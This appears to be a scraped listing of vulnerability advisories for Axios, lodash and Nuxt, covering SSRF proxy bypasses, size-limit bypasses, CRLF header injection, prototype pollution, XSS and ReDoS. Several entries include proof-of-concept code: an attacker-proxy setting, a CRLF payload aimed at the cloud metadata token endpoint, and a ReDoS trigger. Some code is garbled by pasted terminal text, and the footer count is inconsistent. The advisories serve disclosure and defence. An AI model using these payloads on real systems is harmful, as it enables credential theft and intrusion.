accuracy | | TBD | Report submitted to vendor via GitHub Security Advisory |

OWASP A03OWASP A07OWASP WEB
Get guardrail →

Axios: no_proxy bypass via IP alias allows SSRF

The fix for no_proxy hostname normalization bypass (#10661) is incomplete.When no_proxy=localhost is set, requests to 127.0.0.1 and [::1] still route through the proxy instead of bypassing it. The shouldBypassProxy() function does pure string matching — it does not resolve IP aliases or loopback equivalents. As a result: no_proxy=localhost does NOT block 127.0.0.1 or [::1] no_proxy=127.0.0.1 does NOT block localhost or [::1] POC : process.env.no_proxy = 'localhost'; process.env.http_proxy = 'http://attacker-proxy:8888'; ``(base) srisowmyanemani@Srisowmyas-MacBook-Pro axios % >.... process.env.http_proxy = 'http://127.0.0.1:8888'; console.log('=== Test 1: localhost (should bypass proxy) ==='); try { await axios.get('http://localhost:7777/'); } catch(e) { console.log('Error:', e.message); } console.log(''); console.log('=== Test 2: 127.0.0.1 (should ALSO bypass proxy but DOES NOT) ==='); try { await axios.get('http://127.0.0.1:7777/'); } catch(e) { console.log('Error:', e.message); } fakeProxy.close(); internalServer.close(); }); }); EOF === Test 1: localhost (should bypass proxy) === ✅ Internal server hit directly (correct) === Test 2: 127.0.0.1 (should ALSO bypass proxy but DOES NOT) === 🚨 PROXY RECEIVED REQUEST TO: http://127.0.0.1:7777/ 🚨 Host header: 127.0.0.1:7777. `` <img width="1212" height="247" alt="image" src="https://github.com/user-attachments/assets/0b07ddc4-507d-4b11-a630-15b94ad2c7e7" /> Impact: In server-side environments where no_proxy is used to prevent requests to internal/cloud metadata services (e.g., 169.254.169.254), an attacker who can influence the URL can bypass the restriction by using an IP alias instead of the hostname, routing the request through an attacker-controlled proxy and leaking internal data. Fix: shouldBypassProxy() should resolve loopback aliases — localhost, 127.0.0.1, and ::1 should all be treated as equivalent.

OWASP A10OWASP WEB
Get guardrail →

Axios: HTTP adapter streamed responses bypass maxContentLength

Summary When responseType: 'stream' is used, Axios returns the response stream without enforcing maxContentLength. This bypasses configured response-size limits and allows unbounded downstream consumption. Details In lib/adapters/http.js: 786-789: for responseType === 'stream', Axios immediately settles with the stream. 797-810: maxContentLength enforcement exists only in the non-stream buffering branch. So callers may set maxContentLength and still receive/read arbitrarily large streamed responses. PoC Environment: Axios main at commit f7a4ee2 Node v24.2.0 Steps: 1. Start an HTTP server that returns a 2 MiB response body. 2. Call Axios with: adapter: 'http' responseType: 'stream' maxContentLength: 1024 3. Read the returned stream fully. Observed: Success; full 2097152 bytes readable. Control check: Same endpoint with responseType: 'text' and same maxContentLength: rejected with maxContentLength size of 1024 exceeded. Impact Type: DoS / unbounded response processing. Impacted: Node.js applications relying on maxContentLength as a safety boundary while using streamed Axios responses.

Axios' HTTP adapter-streamed uploads bypass maxBodyLength when maxRedirects: 0

Summary For stream request bodies, maxBodyLength is bypassed when maxRedirects is set to 0 (native http/https transport path). Oversized streamed uploads are sent fully even when the caller sets strict body limits. Details Relevant flow in lib/adapters/http.js: 556-564: maxBodyLength check applies only to buffered/non-stream data. 681-682: maxRedirects === 0 selects native http/https transport. 694-699: options.maxBodyLength is set, but native transport does not enforce it. 925-945: stream is piped directly to socket (data.pipe(req)) with no Axios byte counting. This creates a path-specific bypass for streamed uploads. ### PoC Environment: Axios main at commit f7a4ee2 Node v24.2.0 Steps: 1. Start an HTTP server that counts uploaded bytes and returns {received}. 2. Send a 2 MiB Readable stream with: adapter: 'http' maxBodyLength: 1024 maxRedirects: 0 Observed: Request succeeds; server reports received: 2097152. Control checks: Same stream with default/nonzero redirects: rejected with ERR_FR_MAX_BODY_LENGTH_EXCEEDED. Buffered body with maxRedirects: 0: rejected with ERR_BAD_REQUEST. ### Impact Type: DoS / uncontrolled upstream upload / resource exhaustion. Impacted: Node.js services using streamed request bodies with maxBodyLength expecting hard enforcement, especially when following Axios guidance to use maxRedirects: 0 for streams.

Axios has Unrestricted Cloud Metadata Exfiltration via Header Injection Chain

Vulnerability Disclosure: Unrestricted Cloud Metadata Exfiltration via Header Injection Chain Summary The Axios library is vulnerable to a specific gadget-style attack chain in which prototype pollution in a third-party dependency may be leveraged to inject unsanitized header values into outbound requests. Axios can be used as a gadget after pollution occurs elsewhere because header values merged from attacker-controlled prototype properties are not sanitized for CRLF (\r\n) characters before being written to the request. In affected deployments, this may enable limited request manipulation or metadata access as part of a higher-complexity exploit chain. Severity: Moderate (CVSS 3.1 Base Score: 4.8) Affected Versions: All versions (v0.x - v1.x) Vulnerable Component: lib/adapters/http.js (Header Processing) Usage of \"Helper\" Vulnerabilities This issue requires a separate prototype pollution vulnerability in another library in the application stack (for example, qs, minimist, ini, or body-parser). If an attacker can pollute Object.prototype, Axios may pick up the polluted properties during config merge. Because Axios does not sanitise these merged header values for CRLF (\r\n) characters, the polluted property can alter the structure of an outbound HTTP request. Proof of Concept 1. The Setup (Simulated Pollution) Imagine a scenario where a known vulnerability exists in a query parser. The attacker sends a payload that sets: ``javascript Object.prototype['x-amz-target'] = \"dummy\r\n\r\nPUT /latest/api/token HTTP/1.1\r\nHost: 169.254.169.254\r\nX-aws-ec2-metadata-token-ttl-seconds: 21600\r\n\r\nGET /ignore\"; ` 2. The Gadget Trigger (Safe Code) The application makes a completely safe, hardcoded request: `javascript // This looks safe to the developer await axios.get('https://analytics.internal/pings'); ` 3. The Execution Axios merges the prototype property x-amz-target into the request headers. It then writes the header value directly to the socket without validation. Resulting HTTP traffic: `http GET /pings HTTP/1.1 Host: analytics.internal x-amz-target: dummy PUT /latest/api/token HTTP/1.1 Host: 169.254.169.254 X-aws-ec2-metadata-token-ttl-seconds: 21600 GET /ignore HTTP/1.1 ... ` 4. The Impact In environments where requests can reach cloud metadata endpoints or sensitive internal services, the injected header content may help bypass expected request constraints and expose limited credentials or modify request semantics. This impact depends on application context and a separate prototype-pollution primitive. Impact Analysis Confidentiality: May expose limited sensitive information in affected network environments. Integrity: May allow modification of outbound request structure or injected headers. Attack Complexity: Exploitation requires a separate prototype-pollution vulnerability and a reachable target service. Recommended Fix Validate all header values in lib/adapters/http.js and xhr.js before passing them to the underlying request function. Patch Suggestion: `javascript // In lib/adapters/http.js utils.forEach(requestHeaders, function setRequestHeader(val, key) { if (/[\r\n]/.test(val)) { throw new Error('Security: Header value contains invalid characters'); } // ... proceed to set header }); `` References OWASP: CRLF Injection (CWE-113) This report was generated as part of a security audit of the Axios library.

OWASP A10OWASP WEB
Get guardrail →

lodash vulnerable to Prototype Pollution via array path bypass in `_.unset` and `_.omit`

Impact Lodash versions 4.17.23 and earlier are vulnerable to prototype pollution in the _.unset and _.omit functions. The fix for CVE-2025-13465 only guards against string key members, so an attacker can bypass the check by passing array-wrapped path segments. This allows deletion of properties from built-in prototypes such as Object.prototype, Number.prototype, and String.prototype. The issue permits deletion of prototype properties but does not allow overwriting their original behavior. Patches This issue is patched in 4.18.0. Workarounds None. Upgrade to the patched version.

OWASP A03OWASP WEB
Get guardrail →

Axios has a NO_PROXY Hostname Normalization Bypass that Leads to SSRF

Axios does not correctly handle hostname normalization when checking NO_PROXY rules. Requests to loopback addresses like localhost. (with a trailing dot) or [::1] (IPv6 literal) skip NO_PROXY matching and go through the configured proxy. This goes against what developers expect and lets attackers force requests through a proxy, even if NO_PROXY is set up to protect loopback or internal services. According to RFC 1034 §3.1 and RFC 3986 §3.2.2, a hostname can have a trailing dot to show it is a fully qualified domain name (FQDN). At the DNS level, localhost. is the same as localhost. However, Axios does a literal string comparison instead of normalizing hostnames before checking NO_PROXY. This causes requests like http://localhost.:8080/ and http://[::1]:8080/ to be incorrectly proxied. This issue leads to the possibility of proxy bypass and SSRF vulnerabilities allowing attackers to reach sensitive loopback or internal services despite the configured protections. --- PoC ``js import http from "http"; import axios from "axios"; const proxyPort = 5300; http.createServer((req, res) => { console.log("[PROXY] Got:", req.method, req.url, "Host:", req.headers.host); res.writeHead(200, { "Content-Type": "text/plain" }); res.end("proxied"); }).listen(proxyPort, () => console.log("Proxy", proxyPort)); process.env.HTTP_PROXY = http://127.0.0.1:${proxyPort}; process.env.NO_PROXY = "localhost,127.0.0.1,::1"; async function test(url) { try { await axios.get(url, { timeout: 2000 }); } catch {} } setTimeout(async () => { console.log("\n[] Testing http://localhost.:8080/"); await test("http://localhost.:8080/"); // goes through proxy console.log("\n[] Testing http://[::1]:8080/"); await test("http://[::1]:8080/"); // goes through proxy }, 500); ` Expected: Requests bypass the proxy (direct to loopback). Actual: Proxy logs requests for localhost. and [::1]. --- Impact Applications that rely on NO_PROXY=localhost,127.0.0.1,::1 for protecting loopback/internal access are vulnerable. Attackers controlling request URLs can: Force Axios to send local traffic through an attacker-controlled proxy. Bypass SSRF mitigations relying on NO\_PROXY rules. Potentially exfiltrate sensitive responses from internal services via the proxy. --- Affected Versions Confirmed on Axios 1.12.2 (latest at time of testing). affects all versions that rely on Axios’ current NO_PROXY evaluation. --- Remediation Axios should normalize hostnames before evaluating NO_PROXY`, including: Strip trailing dots from hostnames (per RFC 3986). Normalize IPv6 literals by removing brackets for matching.

OWASP A10OWASP WEB
Get guardrail →

Lodash has Prototype Pollution Vulnerability in `_.unset` and `_.omit` functions

Impact Lodash versions 4.0.0 through 4.17.22 are vulnerable to prototype pollution in the _.unset and _.omit functions. An attacker can pass crafted paths which cause Lodash to delete methods from global prototypes. The issue permits deletion of properties but does not allow overwriting their original behavior. Patches This issue is patched on 4.17.23.

OWASP A03OWASP WEB
Get guardrail →

nuxt vulnerable to Cross-site Scripting in navigateTo if used after SSR

Summary The navigateTo function attempts to blockthe javascript: protocol, but does not correctly use API's provided by unjs/ufo. This library also contains parsing discrepancies. Details The function first tests to see if the specified URL has a protocol. This uses the unjs/ufo package for URL parsing. This function works effectively, and returns true for a javascript: protocol. After this, the URL is parsed using the parseURL function. This function will refuse to parse poorly formatted URLs. Parsing javascript:alert(1) returns null/"" for all values. Next, the protocol of the URL is then checked using the isScriptProtocol function. This function simply checks the input against a list of protocols, and does not perform any parsing. The combination of refusing to parse poorly formatted URLs, and not performing additional parsing means that script checks fail as no protocol can be found. Even if a protocol was identified, whitespace is not stripped in the parseURL implementation, bypassing the isScriptProtocol checks. Certain special protocols are identified at the top of parseURL. Inserting a newline or tab into this sequence will block the special protocol check, and bypass the latter checks. PoC POC - https://stackblitz.com/edit/nuxt-xss-navigateto?file=app.vue Attempt payload X, then attempt payload Y. Impact XSS, access to cookies, make requests on user's behalf. Recommendations As always with these bugs, the URL constructor provided by the browser is always the safest method of parsing a URL. Given the cross-platform requirements of nuxt/ufo a more appropriate solution is to make parsing consistent between functions, and to adapt parsing to be more consistent with the WHATWG URL specification. Note I've reported this vulnerability here as it is unclear if this is a bug in ufo or a misuse of the ufo library. This ONLY has impact after SSR has occurred, the javascript: protocol within a location header does not trigger XSS.

OWASP A03OWASP WEB
Get guardrail →

Axios Cross-Site Request Forgery Vulnerability

An issue discovered in Axios 0.8.1 through 1.5.1 inadvertently reveals the confidential XSRF-TOKEN stored in cookies by including it in the HTTP header X-XSRF-TOKEN for every request made to any host allowing attackers to view sensitive information.

OWASP A08OWASP WEB
Get guardrail →

Regular Expression Denial of Service (ReDoS) in lodash

All versions of package lodash prior to 4.17.21 are vulnerable to Regular Expression Denial of Service (ReDoS) via the toNumber, trim and trimEnd functions. Steps to reproduce (provided by reporter Liyuan Chen): ``js var lo = require('lodash'); function build_blank(n) { var ret = "1" for (var i = 0; i < n; i++) { ret += " " } return ret + "1"; } var s = build_blank(50000) var time0 = Date.now(); lo.trim(s) var time_cost0 = Date.now() - time0; console.log("time_cost0: " + time_cost0); var time1 = Date.now(); lo.toNumber(s) var time_cost1 = Date.now() - time1; console.log("time_cost1: " + time_cost1); var time2 = Date.now(); lo.trimEnd(s); var time_cost2 = Date.now() - time2; console.log("time_cost2: " + time_cost2); ``

OWASP A06OWASP LLM10OWASP WEB
Get guardrail →

Showing 119 of 19 threats